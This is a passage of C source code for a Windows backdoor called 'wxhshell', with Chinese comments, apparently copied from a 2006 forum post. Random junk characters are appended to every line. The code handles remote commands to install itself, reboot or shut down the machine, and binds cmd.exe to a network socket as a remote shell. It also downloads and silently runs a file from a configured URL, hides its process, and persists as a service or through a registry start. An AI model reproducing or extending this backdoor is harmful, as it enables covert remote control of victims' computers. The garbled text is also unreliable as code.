  } E]dc4US  
  else { >1  %|T  
twP%+/g]<  
    switch(cmd[0]) { }Yargj_Gn  
  \]|(w*C  
  // 帮助 0`KR8# A@  
  case '?': { )o`[wq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6]NaP_\0  
    break; rd1EA|T  
  } 3-v&ktD&N'  
  // 安装 d J.up*aR  
  case 'i': { 6`WI S4  
    if(Install()) Mi)h<lY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8DGPA  
    else r)|6H"n#]S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8e"MP\0V  
    break; 1YScZ  
    } noZ!j>f{@l  
  // 卸载 SQT]'  
  case 'r': { l1%ubu  
    if(Uninstall()) g#lMT%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kca#ssN  
    else /*e6('9s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~?z u5,vb  
    break; Aaug0X  
    } fLg :+Ue<B  
  // 显示 wxhshell 所在路径 ;Iax \rQ  
  case 'p': { .2V?G]u  
    char svExeFile[MAX_PATH]; ?h)T\z  
    strcpy(svExeFile,"\n\r"); ok1-`c P  
      strcat(svExeFile,ExeFile); !:c_i,N  
        send(wsh,svExeFile,strlen(svExeFile),0); >ud u~  
    break; 7G=Q9^J.H  
    } ijACfl{!:t  
  // 重启 +:3s f%0  
  case 'b': { N{#9gr3zi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yA~1$sA1  
    if(Boot(REBOOT)) d]vom@iI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<kg;-& 8  
    else { s1bb2R  
    closesocket(wsh); uaqV)H  
    ExitThread(0); w*\JA+  
    } nm,(Wdr  
    break; &mkL4 jXG  
    } ,wZq ~; 2  
  // 关机 4ufT-&m};s  
  case 'd': { *nB-] w/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "#P#;]\`  
    if(Boot(SHUTDOWN)) tQE<'94A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2ZuI; w  
    else { L| ]fc9W:  
    closesocket(wsh); _'Rg7zHTp-  
    ExitThread(0); -ND1+`yD  
    } !@>q^_Gez  
    break; nCDG PzJ  
    } 2oo\SmO]  
  // 获取shell J\hqK*/8  
  case 's': { Ze?n Q-  
    CmdShell(wsh); ?{%"v\w  
    closesocket(wsh); 'HJ<"<  
    ExitThread(0); 0IyT(1hS  
    break; 3QCCX$,  
  } Ym?VF{e,  
  // 退出 0[p"8+x  
  case 'x': { S5\KI+;PW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rP IAu[],g  
    CloseIt(wsh); Kf#iF*  
    break; X*M2 O%g`L  
    } {Ga=; 0  
  // 离开 nd"$gi  
  case 'q': { VNwOD-b/]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P6A##z  
    closesocket(wsh); qwq5y t?  
    WSACleanup(); ?Kg_bvoR  
    exit(1); SN]Na<P  
    break; LtGjHB\+  
        } O-!Q~;3][  
  } W9;9\k  
  } X/h|;C* 9  
MS\?+8|SV(  
  // 提示信息 kAs=5_?I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "gt1pf~y  
} _6 @GT  
  } 0nZQ" {x  
[U:P&)  
  return; <Qt9MO`a  
} [8&+4 <  
Y*sw;2Z;a  
// shell模块句柄 u7  
int CmdShell(SOCKET sock) :Sn4Pg `Q  
{ OVGB7CB]S  
STARTUPINFO si; .:O($9^Ho  
ZeroMemory(&si,sizeof(si)); :r7!HG _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Y 9V1oVf"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7bQST0 ?  
PROCESS_INFORMATION ProcessInfo; Ymf@r?F<  
char cmdline[]="cmd"; K5F;/ KR"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^ywDa^;-  
  return 0; uSv]1m_-]  
} zm3$)*p1  
[x'D+!  
// 自身启动模式 _k#GjAPM  
int StartFromService(void) GK [Hs 1/  
{ Jv kTfTE7  
typedef struct a% /D~5Z  
{ ^].U?t.n)  
  DWORD ExitStatus; :3{n(~  
  DWORD PebBaseAddress; F`1J&S;C  
  DWORD AffinityMask; 39L_O RMH  
  DWORD BasePriority; o5:md :\  
  ULONG UniqueProcessId; @|{8/s Oq  
  ULONG InheritedFromUniqueProcessId; S0ltj8t  
}   PROCESS_BASIC_INFORMATION; 7rG+)kHG  
Jp= )L  
PROCNTQSIP NtQueryInformationProcess; 7>h(M+ /  
Ii<k<Bt,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~V0 GRPnI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \jb62Jp  
+No` 89Y  
  HANDLE             hProcess; {^k7}`7,  
  PROCESS_BASIC_INFORMATION pbi; o#>Mf464I  
l| y.6v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WJk3*$=  
  if(NULL == hInst ) return 0; WJ,?5#  
m'M5O@?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VQ8Fs/Zt!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xVRxKM5 {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *P|~v Cnr  
P9 y+rF.  
  if (!NtQueryInformationProcess) return 0; 6}~k4;'}A  
y9k'jEZ"oh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SVObJsB^  
  if(!hProcess) return 0; !s:_>P`MQ  
Ibx\k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <$ qT(3w<y  
y}?PyPz  
  CloseHandle(hProcess);  ^Vf@J  
a^_W}gzzd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wc-v]$DW  
if(hProcess==NULL) return 0; Ai)>ot  
H?,Dv>.#*  
HMODULE hMod; 14A(ZWwq9  
char procName[255]; ,/kZt!  
unsigned long cbNeeded; g~U<0+&yw%  
KpDb%j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *3s-=.U~  
VVcli*  
  CloseHandle(hProcess); JJ'f\f9  
8 |Ob7+  
if(strstr(procName,"services")) return 1; // 以服务启动 <[w5M?n8  
hj{)6dBX%  
  return 0; // 注册表启动 bYqv)_8  
} ;+bF4r@:+  
KK{_s=t%<  
// 主模块 lM#,i\8Q  
int StartWxhshell(LPSTR lpCmdLine) Uy*d@vU9c  
{ YT,yRV9#  
  SOCKET wsl; N1$PW~)Y  
BOOL val=TRUE; 1K(mdL{m5  
  int port=0; PF#<CF$=  
  struct sockaddr_in door;  P1)87P  
`P <#kt  
  if(wscfg.ws_autoins) Install(); tx)$4v  
ya[f? 0b0  
port=atoi(lpCmdLine); *.KVrS<B1  
eI-SWwmv/u  
if(port<=0) port=wscfg.ws_port; #f%fY%5q  
mwsdl^c  
  WSADATA data; 947;6a%$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u /DE  
qz2`%8}F)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n5;@}Rai  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Ar gM%  
  door.sin_family = AF_INET; $G{j[iLY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y%x:~.  
  door.sin_port = htons(port); r;"D>IM\  
n-{d7haOa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x+ER 3wDD@  
closesocket(wsl); k_uI&,  
return 1; *$`N5;7'`  
} ZJm$7T)V  
\)6bLB!  
  if(listen(wsl,2) == INVALID_SOCKET) { wLb:FB2  
closesocket(wsl); 4jGN:*kZ  
return 1; t0r0{:  
} _l1"X^Aa  
  Wxhshell(wsl); g-B{K "z  
  WSACleanup(); g^x=y  
^2{6W6=  
return 0; (h@!_qi9:  
l)~ U8  
} 2`j{n \/  
A{M7   
// 以NT服务方式启动 iOSt=-p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gs=ok8w  
{ "C(yuVK1G  
DWORD   status = 0; ru6M9\h*  
  DWORD   specificError = 0xfffffff; R MOs1<D  
VW*?(,#j{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A?$-Uqb"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kjB'W zZ8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qe-Pg^PS]  
  serviceStatus.dwWin32ExitCode     = 0; D~Ef%!&  
  serviceStatus.dwServiceSpecificExitCode = 0; KUK.;gG*Z  
  serviceStatus.dwCheckPoint       = 0; pzoh9}bue  
  serviceStatus.dwWaitHint       = 0; ]9)iBvQlj  
#sBL E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 eu7&Kj'  
  if (hServiceStatusHandle==0) return; 0rz1b6F5,  
*po o.Zz  
status = GetLastError(); Km!ACA&s6  
  if (status!=NO_ERROR) iSR"$H{  
{ VBS}2>p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "A&A?%  
    serviceStatus.dwCheckPoint       = 0; \13Q>iAu  
    serviceStatus.dwWaitHint       = 0; *3!r &iY  
    serviceStatus.dwWin32ExitCode     = status; w!v^6[!  
    serviceStatus.dwServiceSpecificExitCode = specificError; NZa 7[}H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `(`-S md  
    return; JbJ!,86  
  } Kf}*Ij  
=:zPT;K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @YQ*a4`  
  serviceStatus.dwCheckPoint       = 0; HFTeG4R  
  serviceStatus.dwWaitHint       = 0; b/Ma,}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z wRF-{s  
} 8 hhMuh  
z5 @i"%f  
// 处理NT服务事件,比如:启动、停止 _+nk3-yQw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tx]p4wY:D  
{ :uB?h1|  
switch(fdwControl) b 9"t%R9/Q  
{ UN F\k1[  
case SERVICE_CONTROL_STOP: ^Ifm1$X}  
  serviceStatus.dwWin32ExitCode = 0; U<Qi`uoj!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +N7<[hE;  
  serviceStatus.dwCheckPoint   = 0; lJ]QAO  
  serviceStatus.dwWaitHint     = 0; K*2s-,b *  
  { Eb@**%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); esE!i0%  
  } <[-{:dH,5  
  return; at{p4Sl  
case SERVICE_CONTROL_PAUSE: FG+pR8aA$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y N9~/g  
  break; MRK=\qjD  
case SERVICE_CONTROL_CONTINUE: upk+L^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~piE$"]&  
  break; j~V $q/7S  
case SERVICE_CONTROL_INTERROGATE: RticGQy&5  
  break; 5h^BXX|Y*  
}; 1?^ P=^8   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ejr'Yzl3_  
} /kK!xe  
q~5zv4NX  
// 标准应用程序主函数 bZ:+q1 D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *PV7s  
{ \`["IkSg7  
X>Q44FV!  
// 获取操作系统版本 K(PSGlI f  
OsIsNt=GetOsVer(); ]!P8{xmb@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S]|sK Y  
"S6";G^I  
  // 从命令行安装 V|B4lGS&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 64mD%URT  
OIpT9  
  // 下载执行文件 \'[tfSB  
if(wscfg.ws_downexe) { Ii5U) "  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !sEhjJV^7  
  WinExec(wscfg.ws_filenam,SW_HIDE); dlCiqY: }  
} D29Lu(f  
FXn98UFY  
if(!OsIsNt) { "4Q_F3?_`  
// 如果时win9x,隐藏进程并且设置为注册表启动 L@=$0p41;  
HideProc(); #Y3-P  
StartWxhshell(lpCmdLine); b=\chCRJJ  
} WQ8 "Jj?k6  
else *`wz  
  if(StartFromService()) ,%N[FZ`|  
  // 以服务方式启动 xP9h$!  
  StartServiceCtrlDispatcher(DispatchTable); p=A, yGDV  
else 7RBEEE`)  
  // 普通方式启动 (3D&GY!/  
  StartWxhshell(lpCmdLine); Ab/JCZNn  
D}X6I#U'/  
return 0; 3h>L0  
}
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只看该作者 1 发表于: 2006-10-10
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